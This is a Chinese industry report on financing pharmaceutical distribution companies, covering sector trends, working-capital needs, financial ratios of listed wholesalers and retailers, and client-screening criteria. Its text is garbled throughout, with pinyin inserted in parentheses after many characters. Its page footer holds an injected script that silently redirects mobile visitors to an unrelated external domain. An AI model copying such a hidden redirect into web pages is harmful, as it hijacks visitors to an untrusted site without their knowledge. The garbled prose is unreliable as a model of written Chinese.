近年来,在(zai)资本的推动(dong)下(xia),药品流(liu)(liu)通(tong)(tong)企(qi)(qi)业(ye)(ye)正在(zai)由传统的增加产品、拓(tuo)展(zhan)客户(hu)等内(nei)生(sheng)方(fang)式(shi)向并(bing)购(gou)重组(zu)的外(wai)延式(shi)成长方(fang)式(shi)转变(bian),行业(ye)(ye)竞(jing)争格局(ju)也(ye)随(sui)之发生(sheng)变(bian)化。一(yi)些(xie)大(da)型医药产业(ye)(ye)集团分拆流(liu)(liu)通(tong)(tong)业(ye)(ye)务(wu)(wu)板块单独发展(zhan),或通(tong)(tong)过(guo)并(bing)购(gou)进入(ru)药品流(liu)(liu)通(tong)(tong)行业(ye)(ye),并(bing)逐(zhu)步(bu)作为(wei)主营业(ye)(ye)务(wu)(wu)进行开发;一(yi)些(xie)区域(yu)性批发企(qi)(qi)业(ye)(ye)为(wei)了渗透市场终端,不断向下(xia)游(you)零售企(qi)(qi)业(ye)(ye)拓(tuo)展(zhan);还有一(yi)些(xie)药品流(liu)(liu)通(tong)(tong)企(qi)(qi)业(ye)(ye)借助资本力量(liang)收(shou)购(gou)上(shang)游(you)的中药饮(yin)片、制剂等生(sheng)产企(qi)(qi)业(ye)(ye),不断强化自身(shen)供应(ying)链(lian)优势。

4.“互联网+”是医药流通行业发展的机会所在

新修订的《药品(pin)(pin)管(guan)理(li)法(fa)》已经不再禁止网(wang)络销售处方药,《药品(pin)(pin)网(wang)络销售监(jian)督管(guan)理(li)办法(fa)(送(song)审稿(gao))》也(ye)引发热议,送(song)审稿(gao)一旦(dan)成(cheng)行,医(yi)药电商(shang)将获(huo)得大规(gui)模(mo)投资,也(ye)将引来(lai)药品(pin)(pin)末(mo)端配送(song)的飞速发展。未来(lai)的医(yi)药电子商(shang)务(wu)不仅包括医(yi)药流(liu)通(tong)环节各(ge)企业(ye)间的网(wang)上(shang)交易,同时还(hai)包括零售药、医(yi)药流(liu)通(tong)企业(ye)对消(xiao)费者的网(wang)上(shang)零售,医(yi)药流(liu)通(tong)行业(ye)可能迎来(lai)新的增(zeng)长点,医(yi)药电商(shang)领域的竞争也(ye)将会加剧(ju)。

5.盈利模式可能迎来剧变,智慧供应链水平成为核心竞争力

未来流(liu)通(tong)药(yao)企(qi)发展的(de)(de)路径可(ke)能(neng)由传统(tong)的(de)(de)从事药(yao)品销(xiao)售及市场推广(guang)的(de)(de)分(fen)销(xiao)商,转变为服务(wu)商,盈利来源也(ye)可(ke)能(neng)从交(jiao)易差价,变为配送服务(wu)价值(zhi)链(lian)上的(de)(de)技术服务(wu)、产(chan)品服务(wu)收费(fei)等(deng)。这意味着医(yi)(yi)药(yao)流(liu)通(tong)企(qi)业在智(zhi)慧供(gong)应(ying)链(lian)上的(de)(de)布局至关重要(yao),大(da)中型医(yi)(yi)药(yao)流(liu)通(tong)企(qi)业将(jiang)加大(da)在医(yi)(yi)药(yao)物流(liu)拆(chai)零技术、冷链(lian)箱周转体系、物流(liu)全程可(ke)视化(hua)信息系统(tong)、客(ke)户查询和服务(wu)系统(tong)方(fang)面的(de)(de)优化(hua)升级,打造智(zhi)慧供(gong)应(ying)链(lian)。

二、行业融资分析

(一)行业融资需求

1.流动资金需求

医(yi)(yi)(yi)药(yao)(yao)(yao)流通(tong)(tong)企(qi)(qi)业(ye)(ye)(ye)(ye)作为一个资(zi)(zi)(zi)金(jin)(jin)(jin)密集型行业(ye)(ye)(ye)(ye),承担(dan)了(le)产(chan)业(ye)(ye)(ye)(ye)链中的(de)(de)垫资(zi)(zi)(zi)职能(neng)。且两票制实施之(zhi)后,医(yi)(yi)(yi)院纯销模式占(zhan)(zhan)比上升(sheng),应收(shou)(shou)账(zhang)款(kuan)(kuan)的(de)(de)回(hui)收(shou)(shou)期普遍延长,加(jia)大(da)了(le)医(yi)(yi)(yi)药(yao)(yao)(yao)流通(tong)(tong)企(qi)(qi)业(ye)(ye)(ye)(ye)的(de)(de)资(zi)(zi)(zi)金(jin)(jin)(jin)压力(li)。以(yi)批发(fa)为主业(ye)(ye)(ye)(ye)(收(shou)(shou)入占(zhan)(zhan)比超90%)的(de)(de)主板上市公司数据为例(li)(li),2018年(nian)平均应收(shou)(shou)账(zhang)款(kuan)(kuan)回(hui)收(shou)(shou)期为100.84天。医(yi)(yi)(yi)药(yao)(yao)(yao)流通(tong)(tong)企(qi)(qi)业(ye)(ye)(ye)(ye)往往也需要(yao)囤积适量的(de)(de)药(yao)(yao)(yao)品,来满(man)足(zu)配送时效的(de)(de)要(yao)求,面对部分议价(jia)能(neng)力(li)较强的(de)(de)药(yao)(yao)(yao)品生产(chan)企(qi)(qi)业(ye)(ye)(ye)(ye)还需要(yao)支付(fu)预付(fu)款(kuan)(kuan),加(jia)剧了(le)药(yao)(yao)(yao)品流通(tong)(tong)企(qi)(qi)业(ye)(ye)(ye)(ye)的(de)(de)资(zi)(zi)(zi)金(jin)(jin)(jin)压力(li)。此外(wai),保(bao)(bao)证(zheng)(zheng)金(jin)(jin)(jin)的(de)(de)占(zhan)(zhan)用(yong)(yong)也会增加(jia)企(qi)(qi)业(ye)(ye)(ye)(ye)的(de)(de)流动资(zi)(zi)(zi)金(jin)(jin)(jin)需求。药(yao)(yao)(yao)品流通(tong)(tong)企(qi)(qi)业(ye)(ye)(ye)(ye)需同(tong)时向(xiang)上游供应商(shang)缴(jiao)纳履约保(bao)(bao)证(zheng)(zheng)金(jin)(jin)(jin)及向(xiang)下(xia)游医(yi)(yi)(yi)院客(ke)户缴(jiao)纳“进一步(bu)保(bao)(bao)障药(yao)(yao)(yao)品供应质量和患者用(yong)(yong)药(yao)(yao)(yao)安全(quan)”为名的(de)(de)保(bao)(bao)证(zheng)(zheng)金(jin)(jin)(jin)。此外(wai)在招投标活(huo)动中也需要(yao)缴(jiao)纳部分保(bao)(bao)证(zheng)(zheng)金(jin)(jin)(jin)作为投标责任(ren)担(dan)保(bao)(bao)。以(yi)上市公司九(jiu)州(zhou)通(tong)(tong)为例(li)(li),截(jie)至2019年(nian)9月末,各项保(bao)(bao)证(zheng)(zheng)金(jin)(jin)(jin)占(zhan)(zhan)用(yong)(yong)资(zi)(zi)(zi)金(jin)(jin)(jin)合计17.91亿元。

2.投资活动资金需求

医(yi)药流通企业还有(you)物流中心建设、兼并收(shou)购等(deng)投资活动(dong)资金(jin)需求。尤其目前处(chu)在行业的(de)结(jie)构调(diao)整阶段,具(ju)有(you)一定(ding)市场地位的(de)大型医(yi)药流通企业的(de)投资活动(dong)融资需求较大。这类投资通常(chang)具(ju)有(you)投资金(jin)额大、投资回(hui)收(shou)期(qi)较长的(de)特点。

(二)行业财务特征

本部分以主板上市公司为样本对医药流通企业财务表现进行分析。根据同花顺行业分类,医药流通企业主板上市公司共25家,剔除*ST天圣,按营业收入占比情况[1]将样本分为零售类医药流通企业5家[2]和批发类流通企业19家[3]

1.资产负债率、流动比率水平

图5:资产负债(zhai)率、流动比率情况(kuang)


总体(ti)来看批发(fa)(fa)类医(yi)(yi)药流通企(qi)业资(zi)产负债率(lv)明显高于零售(shou)类药品流通企(qi)业,截(jie)(jie)至(zhi)2019年(nian)三季(ji)(ji)度末平均资(zi)产负债率(lv)分别(bie)为(wei)(wei)60.70%、49.01%。流动比率(lv)方面,批发(fa)(fa)类医(yi)(yi)药流通企(qi)业流动比率(lv)维持在1.5以上,高于批发(fa)(fa)类医(yi)(yi)药流通上市公司(si),2018年(nian)出(chu)现大(da)幅(fu)下滑,低于了批发(fa)(fa)类医(yi)(yi)药流通上市公司(si),主要是(shi)由于样本中老百姓大(da)药房连锁股(gu)份有(you)限(xian)公司(si)应付债券调(diao)整至(zhi)一年(nian)内(nei)到(dao)期的(de)非流动负债所致,截(jie)(jie)至(zhi)2019年(nian)三季(ji)(ji)度末批发(fa)(fa)类医(yi)(yi)药流通上市公司(si)与零售(shou)类医(yi)(yi)药流通上市公司(si)流动比率(lv)基本持平,分别(bie)为(wei)(wei)1.53、1.54。

图6:毛(mao)利率(lv)、净利率(lv)情况


2.利润率水平

零售类医药(yao)流(liu)通上(shang)市(shi)公(gong)司(si)毛(mao)利率(lv)、净(jing)利率(lv)均较(jiao)为稳定,维持在35%左右(you)、5.5%左右(you),远高于批发类医药(yao)流(liu)通上(shang)市(shi)公(gong)司(si),而批发类医药(yao)流(liu)通上(shang)市(shi)公(gong)司(si)在2016年(nian)(nian)后受到(dao)“两票(piao)制(zhi)”等因素的(de)(de)影响,整体毛(mao)利率(lv)有所上(shang)升,2019年(nian)(nian)三(san)(san)季度(du)平均毛(mao)利率(lv)为13.65%,净(jing)利率(lv)也呈(cheng)上(shang)升趋势(shi),从2016年(nian)(nian)的(de)(de)2%升至2017年(nian)(nian)的(de)(de)3.82%,2018、2019年(nian)(nian)稍有下(xia)滑,2019年(nian)(nian)三(san)(san)季度(du)平均销售净(jing)利率(lv)为3.31%。

3.应收账款、应付账款周转情况


 

图(tu)7:批发(fa)类应(ying)(ying)收账(zhang)款(kuan)、应(ying)(ying)付账(zhang)款(kuan)周转情况



图8:零售类应(ying)收(shou)账款(kuan)(kuan)、应(ying)付账款(kuan)(kuan)周转情况


批(pi)发(fa)类(lei)医药流通上市(shi)公(gong)司应(ying)(ying)(ying)收(shou)账(zhang)款(kuan)周转(zhuan)天(tian)(tian)(tian)数(shu)呈现上升趋(qu)势,由2014年的(de)79天(tian)(tian)(tian)上升至2019年三季(ji)度的(de)108天(tian)(tian)(tian),而(er)应(ying)(ying)(ying)付账(zhang)款(kuan)周转(zhuan)天(tian)(tian)(tian)数(shu)由71天(tian)(tian)(tian)下(xia)降至60天(tian)(tian)(tian),体(ti)现为应(ying)(ying)(ying)收(shou)应(ying)(ying)(ying)付剪刀(dao)差天(tian)(tian)(tian)数(shu)呈现明(ming)显的(de)上升趋(qu)势,面临的(de)上下(xia)游资金(jin)压力越(yue)来越(yue)大。而(er)零售(shou)类(lei)医药流通上市(shi)公(gong)司销(xiao)售(shou)回款(kuan)较(jiao)(jiao)快,应(ying)(ying)(ying)收(shou)应(ying)(ying)(ying)付剪刀(dao)差为负数(shu),资金(jin)压力较(jiao)(jiao)小。

4.经营性现金流情况

表2:医药流通上市(shi)公司经(jing)营性现金流情况

                                      单位:亿元


三、展业建议

根据(ju)各上(shang)市(shi)公(gong)司经营性(xing)(xing)(xing)现(xian)(xian)(xian)金(jin)流量(liang)净(jing)额来看,零售类医(yi)(yi)(yi)药(yao)(yao)流通(tong)上(shang)市(shi)公(gong)司的(de)(de)经营性(xing)(xing)(xing)现(xian)(xian)(xian)金(jin)流量(liang)净(jing)额均(jun)为(wei)(wei)净(jing)流入(ru)(ru),批发类医(yi)(yi)(yi)药(yao)(yao)流通(tong)上(shang)市(shi)公(gong)司经营性(xing)(xing)(xing)现(xian)(xian)(xian)金(jin)流呈现(xian)(xian)(xian)出(chu)不稳定的(de)(de)现(xian)(xian)(xian)象(xiang),其(qi)中2018年(nian)全年(nian)经营性(xing)(xing)(xing)现(xian)(xian)(xian)金(jin)流为(wei)(wei)净(jing)流出(chu)的(de)(de)上(shang)市(shi)公(gong)司共7家(jia),占比(bi)36.84%。包括(kuo)中国医(yi)(yi)(yi)药(yao)(yao)、同济(ji)堂在内的(de)(de)15家(jia)上(shang)市(shi)公(gong)司2019年(nian)1-3季度经营性(xing)(xing)(xing)现(xian)(xian)(xian)金(jin)流较(jiao)上(shang)年(nian)同期出(chu)现(xian)(xian)(xian)改(gai)善,其(qi)中同济(ji)堂、瑞(rui)康(kang)医(yi)(yi)(yi)药(yao)(yao)等6家(jia)上(shang)市(shi)公(gong)司经营性(xing)(xing)(xing)现(xian)(xian)(xian)金(jin)流由负转(zhuan)正(zheng)。但(dan)对财务报(bao)表进行分析(xi)后(hou)(hou)发现(xian)(xian)(xian),现(xian)(xian)(xian)金(jin)流改(gai)善的(de)(de)企业(ye)(ye)(ye)大(da)多使(shi)用(yong)金(jin)融工(gong)具对应(ying)(ying)收(shou)账(zhang)(zhang)(zhang)款进行了(le)终(zhong)止(zhi)确(que)(que)认,使(shi)得经营性(xing)(xing)(xing)现(xian)(xian)(xian)金(jin)流流入(ru)(ru)增加。如九州(zhou)通(tong)、瑞(rui)康(kang)医(yi)(yi)(yi)药(yao)(yao)2019年(nian)上(shang)半年(nian)运(yun)用(yong)应(ying)(ying)收(shou)账(zhang)(zhang)(zhang)款资产支(zhi)持证券(quan)分别对27亿(yi)(yi)元(yuan)、18.66亿(yi)(yi)元(yuan)的(de)(de)应(ying)(ying)收(shou)账(zhang)(zhang)(zhang)款终(zhong)止(zhi)确(que)(que)认;南京(jing)医(yi)(yi)(yi)药(yao)(yao)使(shi)用(yong)无追索权的(de)(de)保理业(ye)(ye)(ye)务对24.2亿(yi)(yi)元(yuan)的(de)(de)应(ying)(ying)收(shou)账(zhang)(zhang)(zhang)款进行了(le)终(zhong)止(zhi)确(que)(que)认。剔除应(ying)(ying)收(shou)账(zhang)(zhang)(zhang)款ABS及保理业(ye)(ye)(ye)务的(de)(de)影响(xiang)后(hou)(hou),大(da)部(bu)分企业(ye)(ye)(ye)经营性(xing)(xing)(xing)现(xian)(xian)(xian)金(jin)流压力仍然较(jiao)大(da)。

(一)总体原则

控制总量,择优选(xuan)择客户(hu)。优选(xuan)主业突(tu)出(chu)、物流配(pei)送布局完整、销售渠道稳(wen)定、对(dui)终端客户(hu)和(he)医院有(you)较强渗透力、财务状况稳(wen)健的(de)全国或区域性龙头(tou)企业。

针对上述医药流通企业(ye)(ye)可关注债券直融担保业(ye)(ye)务(wu)机会(hui)、真实贸易(yi)背(bei)景(jing)下短期流动资金担保业(ye)(ye)务(wu)机会(hui)以及(ji)产(chan)业(ye)(ye)链中兼并重组可能(neng)产(chan)生的资金需求。

针对上(shang)述医药流(liu)通企业上(shang)下游,依据核心企业配合程度及介(jie)入方式(shi),适度开展供应链金融、保理、应收账款质(zhi)押融资业务。

对于存在以下(xia)情形的医药(yao)流(liu)通(tong)企业(ye)审慎介入:

1.区(qu)域影响力有(you)限、竞争(zheng)力弱、发展前(qian)景不明、销售渠(qu)道不稳定、上下游过度集中的;

2.跨行业投(tou)资(zi)且投(tou)资(zi)金额过大超自身实力的;

3.近(jin)两(liang)年通过频繁(fan)资本运作实(shi)现规模快(kuai)速扩张的;

4.控股股东(dong)资(zi)金(jin)链(lian)紧张,大(da)量(liang)占用(yong)企业资(zi)金(jin)的。

(二)目标客户筛选建议

1.运营(ying)资质(zhi)。企业拥有《药品经(jing)营(ying)许可证(zheng)》和(he)《药品经(jing)营(ying)质(zhi)量(liang)管理(GSP)认证(zheng)证(zheng)书》。

2.主(zhu)体资质。原则上主(zhu)体评级AA及以上,融资渠道通(tong)畅,近三(san)年发行过债券且仍有(you)债券存续的企业。

3.财务(wu)指标。建议拟介入客(ke)户财务(wu)指标同时(shi)满足以下条(tiao)件:

(1)近两年扣除非经常性(xing)损(sun)益后连续盈利;

(2)上年(nian)末资产负(fu)债率(lv)<=75%;

(3)上年度毛利率>=6%;

(4)上年末流动比率>=1。

 

4.目标(biao)客户名单

注(zhu):名单内客户仅供营销时参考,能否(fou)介入(ru)需结(jie)合项目方案、企业实(shi)际情况等因素判断。近日中诚信国际将(jiang)同济堂的评级(ji)展(zhan)望(wang)由稳定调整为负面,南(nan)京医药(yao)、海王生物、英特集团资产负债(zhai)率高于(yu)75%,营销时需关注(zhu)。

(三)调查要点提示

1.行业政策的影响(xiang)

项(xiang)目调查(cha)时应关注(zhu)“两票制(zhi)”、“一票制(zhi)”及(ji)带(dai)量采购等(deng)政(zheng)策的落(luo)地进展情况,结合企(qi)业(ye)运营(ying)模式(shi)(shi)、配送网(wang)络的布局等(deng)分析行业(ye)政(zheng)策对经(jing)营(ying)的影响及(ji)企(qi)业(ye)经(jing)营(ying)模式(shi)(shi)的调整(zheng)能否跟上产业(ye)政(zheng)策的变(bian)化。

2.企(qi)业规(gui)模和(he)运营(ying)实力

业(ye)务规(gui)(gui)模(mo)是(shi)体(ti)现医药(yao)流通(tong)企业(ye)综合竞(jing)争实力(li)(li)和行(xing)业(ye)地(di)位的(de)(de)重(zhong)要参考指标。业(ye)务规(gui)(gui)模(mo)越大的(de)(de)企业(ye),往(wang)往(wang)容(rong)易取(qu)得(de)更(geng)多实力(li)(li)较强的(de)(de)上游制药(yao)企业(ye)资源并与其建立稳定合作关系,控制更(geng)多的(de)(de)优质客(ke)户(hu),获得(de)低成本资金,具(ju)有较强的(de)(de)议价(jia)(jia)能(neng)力(li)(li)和规(gui)(gui)模(mo)经济效应(ying);能(neng)够把握兼(jian)并并购(gou)机(ji)会,实现更(geng)快发展,从(cong)而(er)进一步巩固市场地(di)位和提升风险抵御(yu)能(neng)力(li)(li)。小型医药(yao)流通(tong)企业(ye)对(dui)上下游的(de)(de)议价(jia)(jia)能(neng)力(li)(li)偏弱,财务成本更(geng)高,盈(ying)利空间容(rong)易被挤压,抵御(yu)风险的(de)(de)能(neng)力(li)(li)较低。

项目调查时(shi)可(ke)从业(ye)(ye)务结构、财务指(zhi)标(收入(ru)、利(li)润(run)、资产规模(mo))及上下游客(ke)户资源的(de)优质程度(du)(du)、智慧供应链的(de)建设情况(kuang)、业(ye)(ye)务区域覆盖(gai)面(mian)的(de)广度(du)(du)和区域渗透度(du)(du)的(de)深度(du)(du)、信息化管理(li)水平高低的(de)等维度(du)(du)对企业(ye)(ye)的(de)企业(ye)(ye)规模(mo)、行业(ye)(ye)地位(wei)和运营实力进行综合评判。

3.关(guan)注企(qi)业采购、销售模式与(yu)其财务数(shu)据的匹(pi)配性

关注(zhu)企业(ye)采购、销(xiao)(xiao)售模式(shi)、上下游结算方式(shi)及账期,分析(xi)预付账款(kuan)、应(ying)(ying)付账款(kuan)、应(ying)(ying)收账款(kuan)、应(ying)(ying)收账款(kuan)周(zhou)转(zhuan)率(lv)、存货周(zhou)转(zhuan)率(lv)、毛利(li)率(lv)等(deng)财(cai)务(wu)数(shu)据和(he)财(cai)务(wu)指(zhi)(zhi)标(biao)的(de)合理性(xing)。结合行(xing)(xing)(xing)业(ye)数(shu)据进行(xing)(xing)(xing)比较(jiao)分析(xi):横向上,与(yu)行(xing)(xing)(xing)业(ye)内(nei)对标(biao)企业(ye)财(cai)务(wu)指(zhi)(zhi)标(biao)进行(xing)(xing)(xing)比较(jiao),关注(zhu)资产负(fu)债率(lv)、销(xiao)(xiao)售费用(yong)率(lv)、现(xian)金等(deng)价物(wu)/流动负(fu)债、应(ying)(ying)收账款(kuan)周(zhou)转(zhuan)率(lv)、存货周(zhou)转(zhuan)率(lv)等(deng)指(zhi)(zhi)标(biao)是否(fou)(fou)异常;纵向上,企业(ye)财(cai)务(wu)指(zhi)(zhi)标(biao)变化(hua)趋势与(yu)行(xing)(xing)(xing)业(ye)变化(hua)趋势是否(fou)(fou)一致(zhi),财(cai)务(wu)指(zhi)(zhi)标(biao)的(de)变化(hua)情(qing)况是否(fou)(fou)反(fan)映企业(ye)在销(xiao)(xiao)售渠(qu)道、结算方式(shi)等(deng)上的(de)调整。

4.结(jie)合物流、资金(jin)流、信息流多维(wei)判断收入的(de)真实(shi)性

医药流通企业(ye)与上下(xia)游通常不会逐笔签订业(ye)务合同,通常以框架(jia)协议(yi)的形(xing)式约(yue)定合作内容,需关注企业(ye)与下(xia)游主要(yao)客户(hu)签订的框架(jia)协议(yi)的关键条款(kuan),了解企业(ye)收入确认(ren)政策(ce),评价收入确认(ren)时点(dian)是否(fou)符合企业(ye)会计准则的要(yao)求(qiu)。进(jin)入企业(ye)ERP系统或物流管理(li)系统,对订单(dan)、发货单(dan)、物流单(dan)、签收单(dan)进(jin)行抽样(yang)核查,多维度(du)验证收入。

5.关注(zhu)企业(ye)财务政(zheng)策与短期(qi)偿债(zhai)能力(li)

作(zuo)为资(zi)(zi)金(jin)密集型企(qi)(qi)业,财务政策的(de)(de)选择决定了(le)(le)企(qi)(qi)业经营的(de)(de)稳(wen)健程(cheng)(cheng)度,资(zi)(zi)产负(fu)债率(lv)是对(dui)企(qi)(qi)业激进或保守的(de)(de)财务政策最直接的(de)(de)反映。医药流通(tong)企(qi)(qi)业不仅会(hui)使用(yong)有(you)息的(de)(de)债务融资(zi)(zi),而且会(hui)通(tong)过对(dui)供(gong)应(ying)商应(ying)付(fu)账(zhang)款(kuan)(kuan)等(deng)变相融资(zi)(zi)的(de)(de)使用(yong)来(lai)扩充业务规模;应(ying)付(fu)账(zhang)款(kuan)(kuan)等(deng)负(fu)债端的(de)(de)往(wang)来(lai)款(kuan)(kuan)看似没有(you)融资(zi)(zi)成本,但不同的(de)(de)付(fu)款(kuan)(kuan)结算周期往(wang)往(wang)对(dui)应(ying)了(le)(le)不同的(de)(de)产品价格(ge),实(shi)际上已经隐(yin)含了(le)(le)融资(zi)(zi)成本,因此资(zi)(zi)产负(fu)债率(lv)能够体现医药流通(tong)企(qi)(qi)业的(de)(de)实(shi)际财务杠(gang)杆。同时关注货(huo)(huo)币等(deng)价物(wu)/流动负(fu)债指标,该指标考察医药流通(tong)企(qi)(qi)业货(huo)(huo)币等(deng)价物(wu)对(dui)流动负(fu)债的(de)(de)覆(fu)盖程(cheng)(cheng)度,能反映流动性宽裕或紧张的(de)(de)程(cheng)(cheng)度。

6.商誉的(de)形(xing)成及减值风险(xian)

医(yi)药(yao)流通行(xing)业(ye)处于行(xing)业(ye)整(zheng)合、集中度进一步提高的(de)阶段,企业(ye)间的(de)兼并收购较为频繁,需关注大额商誉(yu)的(de)形成及减值风险。并购带(dai)来(lai)的(de)资本支出压力(li)加剧、资产溢价(jia)过(guo)高和后期整(zheng)合不利等因(yin)素(su)可能(neng)给医(yi)药(yao)流通企业(ye)未来(lai)经营发展(zhan)产生一定影响。



[1] 批发业务收入占比超过50%的为批发类医药流通企业,零售业务收入超过50%的为零售类医药流通企业。

[2] 分别为大参林、老百姓、益丰药房、一心堂、第一医药。

[3] 分别为中国医药、同济堂、开开实业、国药股份、南京医药、人民同泰、九州通、上海医药、柳药股份、塞力斯、国药一致、海王生物、英特集团、浙江震元、重药股份、嘉事堂、瑞康医药、华通医药、鹭燕医药。


0
诚聘英才

官方微信公众号

联系我们

027-87317028

027-87319263-8209

湖北省武汉市武昌区
洪山路64号湖光大厦东7楼

武汉市武昌区杏(xing)林(lin)西路6号(hao)2层(ceng)

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();